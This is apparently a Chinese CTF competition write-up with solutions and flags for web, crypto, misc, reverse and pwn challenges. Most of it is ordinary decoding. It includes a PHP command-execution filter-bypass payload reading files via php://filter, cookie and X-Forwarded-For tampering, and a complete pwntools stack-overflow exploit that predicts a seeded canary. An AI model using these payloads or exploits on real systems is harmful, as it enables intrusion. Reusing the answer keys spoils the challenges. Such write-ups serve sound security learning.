一、Web
1.easyweb
添加图片注释,不超过 140 字(可选)
-
访问页面,发现源代码阅读代码需要用post请求来访问,提示flag在/flag.txt中的文件中,但是没有回显,需要用到靶机监听。
-
监听得到flag。flag{d4ek6s7kzztx}
添加图片注释,不超过 140 字(可选)
监听后,发出请求。
添加图片注释,不超过 140 字(可选)
2.YWB_Web_未授权访问
-
访问后抓包,看到cookie可疑,解码后看到是序列化格式,将里面的name改为admin,isadmin改为1发送得到flag
-
得到flag的值为flag{rpuqari28i91}
添加图片注释,不超过 140 字(可选)
3.YWB_Web_xff
-
下载源码进行阅读,发现如果请求头中的HTTP_X_FORWARDED_FOR从ip2.2.2.1发送请求,会读取flag,抓包修改,得到flag
-
Flag值
添加图片注释,不超过 140 字(可选)
4.YWB_Web_命令执行过滤绕过
-
分析代码发现,需要构造get请求,来执行eval($cmd);有提示flag在flag.php中
-
分析代码,发现file_get_contents函数没有被过滤,用此函数读取内容,?cmd=print(file_get_contents('php://filter/convert.base64-encode/resource=flag.php'));使用伪协议将flag读取为base64格式显示到页面上,为PD8NCiRmaWxlbmFtZSA9ICIvdG1wL2ZsYWcubmlzcCI7DQokY29udGVudCA9IHRyaW0oZmlsZV9nZXRfY29udGVudHMoJGZpbGVuYW1lKSk7DQo/Pg==,解码得到提示,访问此页面/tmp/flag.nisp
添加图片注释,不超过 140 字(可选)
3.解码得到提示,还用上述方法访问此页面/tmp/flag.nisp
添加图片注释,不超过 140 字(可选)
4.base64解密得到flag,flag为flag{dnu3stfgjy61}
添加图片注释,不超过 140 字(可选)
5.YWB_Web_反序列化
1.下载源码,
Flag为flag{ptn4pymi1h7o}
二、Crypto
1.cry_rsa
1.分析文本给出q,p,e,求d,首先计算:
ϕ(n)=(p−1)(q−1)=(473398607161−1)(4511491−1)\phi(n) = (p-1)(q-1) = (473398607161-1)(4511491-1)ϕ(n)=(p−1)(q−1)=(473398607161−1)(4511491−1)
2.然后求解
d≡e−1(modϕ(n))d \equiv e^{-1} \pmod{\phi(n)}d≡e−1(modϕ(n))
得d=2023326077889096379
3.将 d 加 4,得到
d+4=2023326077889096383.
-
flag为:flag{2023326077889096383}
2.gift
添加图片注释,不超过 140 字(可选)
1.打开附件,得到字符描述,里面有可疑字符1 - 1/3 + 1/5 - 1/7 + …,这看起来像是一个无穷级数,莱布尼茨公式是π/4 = 1 - 1/3 + 1/5 - 1/7 + …,对吧?所以这个级数的和应该是π/4。
2.π的英文是“pi”,可能是一个“派”(pie)。
凯撒密码加密,偏移量5,得到unj
-
flag为flag{unj}
添加图片注释,不超过 140 字(可选)
3.草甸方阵的密语
-
下载附件是一个exe,右键打开看到可疑字符
添加图片注释,不超过 140 字(可选)
添加图片注释,不超过 140 字(可选)
根据题目描述应该和栅栏加密有关。
-
放到随波逐流里,重点看栅栏,看到可疑字符,kqfl{O7p3iQ9rS6uV8W2X},继续将此字符放到随波逐流里,可以看到flag
-
Flag的值为flag{J7k3dL9mN6pQ8R2S}
添加图片注释,不超过 140 字(可选)
添加图片注释,不超过 140 字(可选)
4.easy-签到题
1.下载附件得到exe,右键打开看到可疑字符R1kzRE1RWldHRTNET04yQ0dNWkRNTVJUSEFaVElNWlhHTVlUTU5KVEdBWkVJTVpUR1laVEdPSldHRVpFSU1aV0dZMkRHTUpXR1laRUlNWlVHWVlUR05KVEc0WkVJTVpaR000REdNQlRHTVpUTU1aU0dNWVRHTkpURzQzREtNWlRHWTNET1JBPQ==,丢到随波逐流得到flag
2. flag值为flag{2b8471e0-3c9a-6d1f-4a57-980362157e3f}
添加图片注释,不超过 140 字(可选)
5.baby_rsa
1.下载附件得到一个exe和txt,右键打开exe得到python代码
2.分析代码,代码给了N,e,c,
3.首先质数分解,用sympy.prevprime从N的平方根开始向下查找最近的质数作为候选q,并检查其下一个质数p是否满足p*q = N。
4.求模逆元d ≡ e⁻¹ (mod φ(N)),使用快速幂解密c,获得明文m
5.转换字节并去除填充得到flag
6.根据txt中的要求,将flag中的9改为0,最后正确的flag值为flag{5c0c885c361541e0b261f58b61db8cec}
添加图片注释,不超过 140 字(可选)
-
代码
import math from sympy import nextprime, prevprime, isprime from Crypto.Util.number import inverse, long_to_bytes N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569 e = 65537 c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063 # 费马分解法寻找p和q def fermat_factorization(n): a = math.isqrt(n) + 1 # 从sqrt(n)的上界开始 while True: b_sq = a*a - n if b_sq < 0: a += 1 continue b = math.isqrt(b_sq) if b*b == b_sq: return (a + b, a - b) a += 1 # 分解N p, q = fermat_factorization(N) # 确保p > q if p < q: p, q = q, p # 计算私钥d phi = (p - 1) * (q - 1) d = inverse(e, phi) # 解密 m = pow(c, d, N) flag = long_to_bytes(m).strip() # 去除填充的空格 print(flag.decode())
6.ez_base
1.攻防世界做过一道类似的题,疑似垃圾邮件,使用在线网站进行解密,https://www.spammimic.com/encode.cgi
添加图片注释,不超过 140 字(可选)
2.得到ZmxhZ3tITkNURnhjdDQxb21vWnAzVEZ9,将其进行base64解密得到flag
添加图片注释,不超过 140 字(可选)
3.flag的值为flag{HNCTFxct41omoZp3TF}
三、MISC
1.被折叠的显影图纸
1附件中看到一个flag.xls文件,访问要求有密码,丢到随波逐流看一下
添加图片注释,不超过 140 字(可选)
-
可以直接看到flag
-
Flag值为flag{0ff!c3_3@$y_Kr@kK3d}
2.光隙中的寄生密钥
-
下载附件得到图片,先拖进随波逐流看一下,可以看到包含一个压缩包
添加图片注释,不超过 140 字(可选)
-
foremost提取出来,压缩包需要密码,使用ARCHPR进行压缩包爆破,得到密码9864,进行解压
添加图片注释,不超过 140 字(可选)
添加图片注释,不超过 140 字(可选)
-
得到可疑字符5a6d78685a3373305548676c56576f32495735584f58704d5147745366513d3d,看着像16进制,进行转换字符串
添加图片注释,不超过 140 字(可选)
-
看着像base64,解码看看,得到flag
-
Flag的值为flag{4Px%Uj6!nW9zL@kR}
添加图片注释,不超过 140 字(可选)
3.ez_xor
1.写个脚本进行异或
def xor_decrypt(data, key): result = [] for c in data: char_code = c ^ key if 32 <= char_code <= 126: result.append(chr(char_code)) return ''.join(result) hex_string = "5f55585e42717a6d7f484e5c786a7d080f0d44" data = bytes.fromhex(hex_string) for key in range(256): decrypted = xor_decrypt(data, key) print(f"Key: {key:02x} -> {decrypted}")
2.得到结果,在结果中搜索flag,即可得到flag{HCTFqweASD164}
添加图片注释,不超过 140 字(可选)
4.套娃
-
打开附件是个xlsx文件,右键笔记本打开发现是以pk开头的,这是压缩包的格式,修改后缀为zip,解压后得到一个套娃.txt文件,重复上述操作,
添加图片注释,不超过 140 字(可选)
-
得到这些文件,一个一个看
添加图片注释,不超过 140 字(可选)
-
在word中的document.xml中发现flag
添加图片注释,不超过 140 字(可选)
添加图片注释,不超过 140 字(可选)
flag为flag{HNCTFS2mCGPLxP}
5.easy_misc
-
下载附件得到一串可疑字符77 49 66 77 83 107 104 68 78 70 81 50 90 50 104 87 98 87 74 72 90 85 82 90 99 108 65 51 89 107 48 52 82 109 70 88 98 87 78 122 97 49 107 61 ,放到密码工具箱ToolsFx中跑一下。
添加图片注释,不超过 140 字(可选)
-
得到可疑字符synt{UAPGS2lcMELmSrU6H},放进随波逐流。
添加图片注释,不超过 140 字(可选)
-
得到flag,Rot13和18都像flag,一个一个试
-
得到flag为第一个,值flag{HNCTF2ypZRYzFeH6U}
6.ez_picture
1.下载附件后得到一个图片和一个压缩包,将图片使用StegSolve工具分析,提取0位,得到999999999,疑似压缩包密码,
添加图片注释,不超过 140 字(可选)
2.压缩包解密后得到1.jpg文件,右键查看属性得到可疑字符ZmxhZ3tITkNURnlhQlBmYUJXMUUxfQ==
添加图片注释,不超过 140 字(可选)
3.base64一下得到flag
Flag值为flag{HNCTFyaBPfaBW1E1}
四、Reverse
1.ez_js
-
下载附件得到百度页面,点开
添加图片注释,不超过 140 字(可选)
-
右键查看源代码,翻到最后看到flag
添加图片注释,不超过 140 字(可选)
-
f1ag{HCTFqweIOP164},提交不对,将1改为l
-
最后提交的正确的flag为flag{HCTFqweIOP164}
2sign in
1.exeinfo查壳,发现有壳,使用upx进行脱壳
添加图片注释,不超过 140 字(可选)
2.进行脱壳
添加图片注释,不超过 140 字(可选)
3使用在线网站进行反编汇huihttps://dogbolt.org/?id=5c357198-95df-4aa9-92e3-22a162b9d012#BinaryNinja=154
添加图片注释,不超过 140 字(可选)
4.让AI分析BinaryNinja中的代码,通过对 callme 中的 RC4 初始化和加解密逻辑进行仿真,得到flag。Flag值为flag{1718540cbc6107c443d227156e50bd72}
添加图片注释,不超过 140 字(可选)
五、Pwn
1.Canary
-
对文件分析,应该是栈溢出问题
-
有一个随机函数,在初始化时会设置随机种子,把随机函数当成Canary进行使用
-
Main函数会泄露种子函数,利用泄露的 seed 计算出新的 seed,就有机会触发栈溢出,从而跳转到后面的函数。
-
Flag在home/ctf中
-
打开flag,得到flag,值为flag{9m8ibg7zat23ilp0qyvosls1hyx30r8h}
添加图片注释,不超过 140 字(可选)
添加图片注释,不超过 140 字(可选)
脚本:
from pwn import *
import ctypes
context(os='linux', arch='amd64', log_level='debug')
binary = "./Canary"
elf = ELF(binary)
DEBUG = 0
ip = ""
port =
libc = ctypes.CDLL('libc.so.6')
# 定义函数原型
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int
def predict_next_seed(leaked_seed_bss_hex):
leaked_seed_bss = leaked_seed_bss_hex
for seed in range(0x1000000):
libc.srand(ctypes.c_uint(seed))
r1_candidate = libc.rand()
r2_candidate = libc.rand()
current_generated_seed = ((r1_candidate & 0xffffffff) << 32) | (r2_candidate & 0xffffffff)
if current_generated_seed == leaked_seed_bss:
r3_predicted = libc.rand()
r4_predicted = libc.rand()
new_seed_bss_predicted = ((r3_predicted & 0xffffffff) << 32) | (r4_predicted & 0xffffffff)
return new_seed_bss_predicted
raise ValueError("Could not find a matching seed. Check libc compatibility or leaked value.")
def exp(p):
p.recvuntil(b"Input your choice")
p.sendline(b"2")
p.recvuntil(b"My secret is ")
seed = int(p.recv(16).decode(),16)
success("leaked_seed_bss: " + hex(seed))
newseed = predict_next_seed(seed)
success("new_seed_bss: " + hex(newseed))
p.recvuntil(b"Input your choice")
p.sendline(b"1")
payload = b"A" * 0x58 + p64(newseed) + b"A" * 0x10 + p64(0xdeadbeef) + p64(0x000000000040101a) + p64(0x401579)
p.recvuntil(b"Show me the code:")
p.send(payload)
p.interactive()
def main():
if DEBUG:
p = process(binary)
exp(p)
else:
p = remote(ip, port)
exp(p)
if __name__ == "__main__":
main()